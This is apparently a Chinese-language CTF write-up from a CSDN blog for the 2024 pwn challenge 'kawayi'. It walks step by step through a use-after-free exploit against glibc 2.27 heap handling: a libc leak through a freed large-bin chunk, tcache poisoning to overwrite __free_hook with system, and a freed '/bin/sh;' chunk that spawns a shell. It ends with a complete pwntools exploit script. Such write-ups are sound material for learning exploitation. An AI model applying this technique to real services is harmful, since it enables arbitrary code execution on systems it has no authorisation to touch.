文件保护
libc版本
uaf漏洞
free函数没有进行置0操作
GDB断点
断点:0xD90
泄漏libc
由于v1>3会退出,所以必须在四次申请堆块中拿到shell
第一次申请-创建large bin chunk
因为创建large bin的chunk堆块,所以申请的是0x430
第二次申请-创建tcache bin chunk
申请一个tcache bin的chunk堆块,为了防止后面释放large bin的时候进行一个unlink操作
释放large bin chunk
释放后fd指针会填入一个libc的地址
申请large bin chunk
申请tcache bin chunk
del large bin
fd指针被赋予了libc的地址,成功泄漏libc
进入tcache bin
bins指向的也是tcache bin的堆块空间
修改fd指针
修改fd指针为__free_hook地址
申请/bin/sh地址
申请free_hook的空间
将free_hook填入system地址
调用free函数,触发free_hook指针,执行system函数
exp
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
filename = './kawayi'
io = process(filename)
elf = ELF(filename)
libc = elf.libc
#
def debug(to_io):
gdb.attach(to_io,'b *$rebase(0xd90)')
def choice(idx):
io.sendlineafter("exit\n",str(idx))
def add(index,size,content):
choice(1)
io.sendlineafter("which index?\n\n",str(index))
io.sendlineafter("what size?\n\n",str(size))
io.sendafter("what do u want to talk?\n\n",content)
def delete(index):
choice(2)
io.sendlineafter("which index?\n",str(index))
def edit(index,content):
choice(3)
io.sendlineafter("which index?\n\n",str(index))
io.sendafter("what do u want to write?\n\n",content)
def show(index):
choice(4)
io.sendlineafter("which index?\n\n",str(index))
# 1.创建large bin chunk
add(0,0x430,"abc")
# 2.创建tcache bin chunk
add(1,0x68,"abc")
# 3.通过uaf漏洞,free large bin chunk,读取fd指针地址,泄露libc
delete(0)
show(0)
# 4.计算libc地址
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x3EBCA0
print("libc_base:" + hex(libc_base))
system_addr = libc_base + libc.sym['system']
# 5.释放掉1号堆块,进入0x70的tcache bin
delete(1)
# 6.修改fd指针为__free_hook地址(此处无需进行size对齐,猜测2.27的libc未作size检测)
edit(1,p64(libc_base + libc.sym['__free_hook'])+b'abcdefgh')
# 7.申请堆块的空间
add(2,0x68,"/bin/sh;")
# 8.申请free_hook的空间,并将free_hook填入system地址
add(3,0x68,p64(system_addr))
#debug(io)
# 9.调用free函数,触发free_hook指针,执行system函数
delete(2)
io.interactive()
标签:bin,index,libc,chunk,free,kawayi,CTF2024,io,PWN
From: https://blog.csdn.net/qq_63451318/article/details/139675385